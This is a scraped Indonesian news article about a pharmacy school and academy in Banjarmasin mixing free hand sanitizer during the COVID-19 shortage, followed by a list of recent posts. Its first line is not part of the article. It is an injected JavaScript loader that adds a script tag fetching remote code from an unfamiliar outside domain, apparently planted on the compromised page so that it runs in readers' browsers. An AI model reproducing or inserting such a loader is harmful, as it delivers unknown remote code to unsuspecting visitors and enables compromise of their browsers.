(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

KREATIF. SMK dan Akfar ISFI Banjarmasin Racik Hand Sanitizer Sendiri


KANALKALIMANTAN.COM, BANJARMASIN – Merebaknya penyebaran virus Corona atau COVID-19 di Indonesia, menyebabkan masyarakat berbondong-bondong membeli hand sanitizer. Hingga sarana pembersih tangan ini mengalami kelangkaan di pasaran.

Merespon hal ini, SMK Farmasi ISFI Banjarmasin dan Akademisi Farmasi ISFI Banjarmasin lantas meresponnya dengan meracik hand sanitizer sendiri. Dengan melibatkan para siswa SMK dan mahasiswa Akfar ISFI yang menempuh pendidikan di dua lembaga pendidikan kefarmasian ini.

Menurut Kepala SMK Farmasi ISFI Banjarmasin M. Noor Ipansyah, langkah ini merupakan respon sekolah untuk membantu masyarakat yang mengalami kekurangan hand sanitizer. Kebetulan, pihak sekolah memiliki sumber daya, bahan baku dan praktik siswa keseharian yang sudah terbiasa, dan tentunya untuk keahlian siswa sendiri.

“Hari Jumat kemarin, ada gerakan massal kepada siswa untuk membikin dan mereka gunakan untuk mereka sendiri dulu. Kemudian selanjutnya, baru kita bantu untuk masyarakat sekitar dan karyawan,” jelas Ipansyah.

Kendati bisa diberikan untuk masyarakat luas, Ipansyah menyebut, pihak sekolah hanya membatasi pembagian hand sanitizer secara cuma-cuma. Namun, untuk instansi baik pemerintah maupun swasta, tergantung dari permintaan secara resmi sehingga langsung dibuatkan hand sanitizer.

“Untuk instansi bisa dibuatkan surat permohonan baik ke sekolah maupun akademi, jadi bisa kita siapkan berapa yang dibutuhkan,” tambahnya.

Sementara, Wali Kota Banjarmasin H Ibnu Sina yang kebetulan meninjau laboratorium SMK Farmasi ISFI Banjarmasin mengapresiasi langkah yang diambil sekolah. Tentunya, ini merupakan respon sekolah terhadap kelangkaan hand sanitizer.

“Kami melihat kelangkaan terjadi dan masyarakat membutuhkan antiseptik, sehingga kemudian teman-teman di sekolah yang berpraktik kemudian memproduksi secara massal, namun tidak diperjualbelikan. Tapi semata-mata untuk membantu agar warga bisa memiliki hand sanitizer,” jelas Ibnu.

Hand sanitizer sendiri dikemas dalam botol kecil, dengan berat bersih 20 mililiter hingga 100 mililiter. Dengan cara disemprot ke tangan yang kemudian diusapkan. “Mudah-mudahan bisa bermanfaat. Terimakasih sumbangsihnya,” pungkas Ibnu. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

9 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

12 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

12 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

14 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

16 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

17 jam ago

This website uses cookies.